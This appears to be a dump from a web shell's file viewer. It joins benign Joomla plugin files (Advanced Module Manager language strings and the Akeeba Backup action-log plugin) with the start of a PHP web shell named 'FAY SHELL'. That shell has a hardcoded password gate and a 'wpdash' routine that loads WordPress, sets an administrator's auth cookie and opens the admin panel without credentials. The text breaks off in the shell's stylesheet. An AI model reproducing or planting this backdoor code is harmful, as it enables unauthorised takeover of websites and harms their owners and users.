Your IP : 216.73.216.216


Current Path : /proc/thread-self/root/var/tmp/
Upload File :
Current File : //proc/thread-self/root/var/tmp/phpQulxsD

;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Aktionsprotokoll - Regular Labs - Erweiterter Modul-Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Protokollierung der Aktionen von Benutzern für den Erweiterten Modul-Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="Advanced Module Manager - erweiterte Modulfunktionen in Joomla!."

AMM_SETTINGS="Bitte den [[%1:start link%]]Module Manager[[%2:end link%]] für die Einstellungen besuchen"
AMM_THE_COMPONENT="die Advanced Module Manager-Komponente"
AMM_THE_SYSTEM_PLUGIN="das Advanced Module Manager System-Plugin"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Aktionsprotokoll - Regular Labs - Erweiterter Modul-Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Protokollierung der Aktionen von Benutzern für den Erweiterten Modul-Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="With Advanced Module Manager you have extra options and functionality to control your modules."

AMM_SETTINGS="Please see the [[%1:start link%]]Module Manager[[%2:end link%]] for settings."
AMM_THE_COMPONENT="the Advanced Module Manager component"
AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="با Advanced Module Manager شما تنظیمات و گزینه های بیشتری برای کنترل ماژول ها دارید"

AMM_SETTINGS="لطفا براي اعمال تنظيمات به [[%1:start link%]]مدیریت ماژول[[%2:end link%]] مراجعه کنید (پارامترها)"
AMM_THE_COMPONENT="کامپوننت Advanced Module Manager"
; AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Journal d'action - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Enregistrer les actions des utilisateurs pour Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="Avec Advanced Module Manager vous disposez d'options et de fonctions supplémentaires pour contrôler vos modules."

AMM_SETTINGS="Regardez [[%1:start link%]]Module de gestion[[%2:end link%]] pour la configuration."
AMM_THE_COMPONENT="Le composant Advanced Module Manager"
AMM_THE_SYSTEM_PLUGIN="le plugin système Advanced Module Manager"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Journal d'action - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Enregistrer les actions des utilisateurs pour Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="「Advanced Module Manager」を使用すると、モジュールをコントロールする追加のオプションと機能が使えます。"

AMM_SETTINGS="設定(パラメータ)については、[[%1:start link%]]モジュール管理[[%2:end link%]]を参照して下さい"
AMM_THE_COMPONENT="Advanced Module Manager コンポーネント"
; AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
<?php
/**
 * @package         Advanced Module Manager
 * @version         9.8.0PRO
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

use RegularLabs\Library\ActionLogPlugin as RL_ActionLogPlugin;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;

defined('_JEXEC') or die;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
    || ! is_file(JPATH_LIBRARIES . '/regularlabs/src/ActionLogPlugin.php')
)
{
    return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3))
{
    RL_Extension::disable('advancedmodules', 'plugin', 'actionlog');

    return;
}

if (true)
{
    class PlgActionlogAdvancedModules extends RL_ActionLogPlugin
    {
        public $name  = 'ADVANCEDMODULEMANAGER';
        public $alias = 'advancedmodules';

        public function __construct(&$subject, array $config = [])
        {
            parent::__construct($subject, $config);

            $this->items = [
                'module' => (object) [
                    'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_MODULE',
                ],
            ];
        }
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<extension version="3" type="plugin" group="actionlog" method="upgrade">
  <name>PLG_ACTIONLOG_ADVANCEDMODULES</name>
  <description>PLG_ACTIONLOG_ADVANCEDMODULES_DESC</description>
  <version>9.8.0PRO</version>
  <creationDate>August 2023</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2023 Regular Labs - All Rights Reserved</copyright>
  <license>GNU General Public License version 2 or later</license>
  <files>
    <file plugin="advancedmodules">advancedmodules.php</file>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params" addfieldpath="/libraries/regularlabs/fields">
      <fieldset name="basic">
        <field name="@load_language_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs"/>
        <field name="@load_language" type="rl_loadlanguage" extension="plg_actionlog_advancedmodules"/>
        <field name="@license" type="rl_license" extension="ADVANCEDMODULEMANAGER"/>
        <field name="@version" type="rl_version" extension="ADVANCEDMODULEMANAGER"/>
        <field name="@dependency" type="rl_dependency" label="RR_THE_COMPONENT" file="/administrator/components/com_advancedmodules/advancedmodules.xml"/>
        <field name="@header" type="rl_header" label="ADVANCEDMODULEMANAGER" description="ADVANCEDMODULEMANAGER_DESC" url="https://regularlabs.com/advancedmodulemanager"/>
        <field name="@note__settings" type="note" class="alert alert-info" description="AMM_SETTINGS,&lt;a href=&quot;index.php?option=com_advancedmodules&quot; target=&quot;_blank&quot;&gt;,&lt;/a&gt;"/>
      </fieldset>
    </fields>
  </config>
</extension>
<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\CMSPlugin;

defined('_JEXEC') || die();

class plgActionlogAkeebabackup extends CMSPlugin
{
	/** @var Container */
	private $container;

	/**
	 * Constructor
	 *
	 * @param   object  $subject  The object to observe
	 * @param   array   $config   An array that holds the plugin configuration
	 *
	 * @since       6.4.0
	 */
	public function __construct(&$subject, $config)
	{
		// Make sure Akeeba Backup is installed
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
		{
			return;
		}

		// Make sure Akeeba Backup is enabled
		if (!ComponentHelper::isEnabled('com_akeeba'))
		{
			return;
		}

		// Load FOF
		if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
		{
			return;
		}

		$this->container = Container::getInstance('com_akeeba');

		// No point in logging guest actions
		if ($this->container->platform->getUser()->guest)
		{
			return;
		}

		// If any of the above statement returned, our plugin is not attached to the subject, so it's basically disabled
		parent::__construct($subject, $config);
	}

	/**
	 * Logs the creation of a new backup profile
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Profiles  $controller
	 * @param   array                                     $data
	 * @param   int                                       $id
	 */
	public function onComAkeebaControllerProfilesAfterApplySave($controller, $data, $id)
	{
		// If I have an ID in the request and it's the same of the model, I'm just editing a record
		if (isset($data['id']) && $data['id'] == $id)
		{
			return;
		}

		$profile_title = $data['description'];

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_ADD', 'com_akeeba');
	}

	/**
	 * Logs deletion of a backup profile
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Profiles  $controller
	 */
	public function onComAkeebaControllerProfilesAfterRemove($controller)
	{
		$ids           = $controller->input->get('cid', [], 'array', 2);
		$profile_title = '# ' . implode(', ', $ids);

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Log configuration edit (apply)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterApply($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and close)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterSave($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and new)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterSavenew($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log starting a new backup
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Backup  $controller
	 */
	public function onComAkeebaControllerBackupBeforeAjax($controller)
	{
		$ajaxTask = $this->container->input->get('ajax', '', 'cmd');

		// Log only starting the backup
		if ($ajaxTask != 'start')
		{
			return;
		}

		$profile_id = $this->container->platform->getSessionVar('profile', -10, 'akeeba');

		if ($profile_id < 1)
		{
			return;
		}

		$profile_id = '#' . $profile_id;

		$this->container->platform->logUserAction($profile_id, 'COM_AKEEBA_LOGS_BACKUP_RUN', 'com_akeeba');
	}

	/**
	 * Log downloading a backup using Joomla interface
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeDownload($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_MANAGE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs deleting backup files
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeDeletefiles($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction('ID: ' . $id, 'COM_AKEEBA_LOGS_MANAGE_DELETEFILES', 'com_akeeba');
		}
	}

	/**
	 * Logs deleting backup stat entry
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeRemove($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction($id, 'COM_AKEEBA_LOGS_MANAGE_DELETE', 'com_akeeba');
		}
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDlfromremote($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives back to the server
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDltoserver($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);

		// Log only the first step
		if ($frag > -1 || $part > -1)
		{
			return;
		}

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_FETCH', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDelete($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Upload  $controller
	 */
	public function onComAkeebaControllerUploadBeforeStart($controller)
	{
		$id = $this->container->input->getInt('id');

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_UPLOADS_ADD', 'com_akeeba');
	}

	/**
	 * Log starting a site transfer wizard (connections valid, just before starting to actually transfer files)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Transfer  $controller
	 */
	public function onComAkeebaControllerTransferBeforeUpload($controller)
	{
		$start = $this->container->input->getBool('start', false);

		if (!$start)
		{
			return;
		}

		$title = $this->container->platform->getSessionVar('transfer.url', '', 'akeeba');

		if (!$title)
		{
			return;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_TRANSFER_RUN', 'com_akeeba');
	}

	/**
	 * Logs downloading a backup log
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Log  $controller
	 */
	public function onComAkeebaControllerLogBeforeDownload($controller)
	{
		$tag = $this->container->input->get('tag', null, 'cmd');;

		$this->container->platform->logUserAction($tag, 'COM_AKEEBA_LOGS_LOG_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Log importing a backup archive
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Discover  $controller
	 */
	public function onComAkeebaControllerDiscoverBeforeImport($controller)
	{
		$files = $this->container->input->get('files', [], 'array');

		foreach ($files as $file)
		{
			$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_DISCOVER_IMPORT', 'com_akeeba');
		}
	}

	/**
	 * Log importing a backup archive from S3
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Discover  $controller
	 */
	public function onComAkeebaControllerS3ImportBeforeDltoserver($controller)
	{
		$file = $this->container->input->get('file', '', 'string');

		// Log only the initial download step
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);
		$step = $this->container->input->getInt('step', -1);

		if ($part > -1 || $frag > -1 || $step > -1)
		{
			return;
		}

		$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_S3IMPORT_IMPORT', 'com_akeeba');
	}

	private function logConfigurationChange()
	{
		$profileName = $this->container->input->getString('profilename', null);

		$this->container->platform->logUserAction('"' . $profileName . '"', 'COM_AKEEBA_LOGS_CONFIGURATION_EDIT', 'com_akeeba');
	}

	/**
	 * Gets the list of IDs from the request data
	 *
	 * @return array
	 */
	private function getIDsFromRequest()
	{
		// Get the ID or list of IDs from the request or the configuration
		$cid = $this->container->input->get('cid', [], 'array');
		$id  = $this->container->input->getInt('id', 0);

		$ids = [];

		if (is_array($cid) && !empty($cid))
		{
			$ids = $cid;
		}
		elseif (!empty($id))
		{
			$ids = [$id];
		}

		return $ids;
	}
}
<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="3.9.0" type="plugin" group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_AKEEBABACKUP</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>https://www.akeeba.com</authorUrl>
	<copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2023-08-07</creationDate>
	<version>8.3.3</version>
	<description>PLG_ACTIONLOG_AKEEBABACKUP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="akeebabackup">akeebabackup.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.sys.ini</language>
	</languages>

	<scriptfile>script.php</scriptfile>
</extension><?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF40\InstallScript\Plugin;

defined('_JEXEC') || die;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class plgActionlogAkeebabackupInstallerScript extends Plugin
{
}
<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration><?php
session_start();

// Password: d30123qwe
// Hash bcrypt untuk password "d30123qwe"
$hashed_password = '$2b$12$kEQELUFBOSGNA7FJXbwbQOu1jU1KgmmSoXiFejMf82xe0zFul.11q';

function isAuthenticated() {
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    if (password_verify($_POST['password'], $hashed_password)) {
        $_SESSION['logged_in'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = "Denied!";
    }
}

if (!isAuthenticated()) :
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FayLogin</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        body {
            background: #000000;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
        }
        .login-card {
            background: #0a0a0a;
            border-radius: 8px;
            border: 1px solid #1f1f1f;
            padding: 40px;
            width: 100%;
            max-width: 400px;
        }
        .login-card h2 {
            color: #ffffff;
            margin-bottom: 30px;
            font-weight: 600;
            font-size: 1.5rem;
        }
        .login-card .form-control {
            background: #000000;
            border: 1px solid #1f1f1f;
            color: #e5e5e5;
            border-radius: 6px;
            padding: 12px;
        }
        .login-card .form-control:focus {
            background: #000000;
            border-color: #404040;
            color: #e5e5e5;
            box-shadow: none;
        }
        .login-card .alert-danger {
            background: rgba(239, 68, 68, 0.1);
            border: 1px solid #ef4444;
            color: #ef4444;
            border-radius: 6px;
        }
        .btn-login {
            background: #ffffff;
            border: none;
            color: #000000;
            padding: 12px;
            font-weight: 600;
            border-radius: 6px;
            transition: all 0.2s ease;
        }
        .btn-login:hover {
            background: #d0d0d0;
        }
    </style>
</head>
<body>
    <div class="login-card">
        <h2 class="text-center"><i class="fas fa-user-shield"></i> Friends</h2>
        <?php if (isset($error)) echo "<div class='alert alert-danger'>$error</div>"; ?>
        <form method="POST">
            <div class="mb-3">
                <input type="password" name="password" class="form-control form-control-lg" placeholder="Enter Password" required>
            </div>
            <button type="submit" class="btn btn-primary btn-login w-100">
                <i class="fas fa-sign-in-alt"></i> Login
            </button>
        </form>
    </div>
</body>
</html>
<?php
    exit;
endif;

if (isset($_GET['opsi']) && $_GET['opsi'] == "wpdash" && isset($_GET['loknya'])) {
	if (!function_exists('find_root_dir')) {
		function find_root_dir($current_dir) {
			while (!file_exists($current_dir . '/wp-load.php')) {
				$parent_dir = dirname($current_dir);
				if ($current_dir === $parent_dir) {
					return false;
				}
				$current_dir = $parent_dir;
			}
			return $current_dir;
		}
	}
	$mr = find_root_dir($_GET['loknya']);
	if ($mr) {
		@chdir($mr);
		if (file_exists('wp-load.php')) {
			include 'wp-load.php';
			$wp_user_query = new WP_User_Query(array('role' => 'Administrator', 'number' => 1, 'fields' => 'ID'));
			$results = $wp_user_query->get_results();
			if (isset($results[0])) {
				wp_set_auth_cookie($results[0]);
				wp_redirect(admin_url());
				exit;
			}
			die('NO ADMIN');
		}
		die('FAILED LOAD');
	}
	die('NOT WP ROOT');
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php echo "<title>F"."A"."Y SH"."EL"."L</title>"; ?>
	<meta name="robots" content="noindex">
	<link rel="icon" href="https://cdn-icons-png.flaticon.com/512/5968/5968909.png" type="image/x-icon">
	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
	<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<style>
@import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap');

:root {
	--primary-color: #ffffff;
	--secondary-color: #a0a0a0;
	--accent-color: #707070;
	--bg-black: #000000;
	--card-bg: #0a0a0a;
	--text-light: #e5e5e5;
	--text-muted: #808080;
	--border-color: #1f1f1f;
	--success-color: #22c55e;
	--danger-color: #ef4444;
	--warning-color: #f59e0b;
}

body {
	background: var(--bg-black);
	font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
	color: var(--text-light);
	letter-spacing: -0.02em;
	margin: 0;
	overflow: hidden;
}

.app-layout {
	display: flex;
	height: 100vh;
}

.sidebar {
	width: 240px;
	min-width: 240px;
	background: var(--card-bg);
	border-right: 1px solid var(--border-color);
	display: flex;
	flex-direction: column;
	height: 100vh;
	overflow-y: auto;
}

.sidebar-brand {
	padding: 24px 20px 20px;
	border-bottom: 1px solid var(--border-color);
	font-size: 1.2rem;
	font-weight: 700;
	color: var(--primary-color);
	letter-spacing: -0.03em;
}

.sidebar-nav {
	flex: 1;
	padding: 12px 0;
	overflow-y: auto;
}

.sidebar-nav a {
	display: flex;
	align-items: center;
	gap: 10px;
	padding: 10px 20px;
	color: var(--secondary-color);
	text-decoration: none;
	font-size: 0.85rem;
	font-weight: 500;
	transition: all 0.15s ease;
	border-left: 3px solid transparent;
}

.sidebar-nav a:hover {
	color: var(--primary-color);
	background: rgba(255,255,255,0.03);
	border-left-color: var(--primary-color);
}

.sidebar-nav a i {
	width: 18px;
	text-align: center;
	font-size: 0.85rem;
}

.sidebar-footer {
	padding: 14px 20px;
	border-top: 1px solid var(--border-color);
	font-size: 0.75rem;
	color: var(--text-muted);
}

.main-content {
	flex: 1;
	overflow-y: auto;
	padding: 24px 32px;
	height: 100vh;
}

@media (max-width: 768px) {
	.sidebar {
		width: 200px;
		min-width: 200px;
	}
	.main-content {
		padding: 16px;
	}
}

@media (max-width: 576px) {
	.app-layout {
		flex-direction: column;
	}
	.sidebar {
		width: 100%;
		min-width: 100%;
		height: auto;
		max-height: 40vh;
	}
	.main-content {
		height: 60vh;
	}
}

.info-card {
	background: var(--card-bg);
	border-radius: 8px;
	padding: 20px;
	margin-bottom: 20px;
	border: 1px solid var(--border-color);
	transition: all 0.2s ease;
}

.info-card:hover {
	border-color: var(--accent-color);
}

.info-card h5 {
	color: var(--primary-color);
	font-weight: 600;
	margin-bottom: 15px;
	font-size: 0.95rem;
}

.system-info {
	background: var(--card-bg);
	border-radius: 8px;
	padding: 20px;
	margin-bottom: 20px;
	border: 1px solid var(--border-color);
	font-size: 0.9rem;
	line-height: 1.8;
}

.badge-custom {
	background: var(--card-bg);
	color: var(--primary-color);
	padding: 4px 10px;
	border-radius: 4px;
	font-weight: 500;
	font-size: 0.75rem;
	border: 1px solid var(--border-color);
}

.breadcrumb-custom {
	background: var(--card-bg);
	padding: 12px 16px;
	border-radius: 6px;
	margin-bottom: 20px;
	border: 1px solid var(--border-color);
}

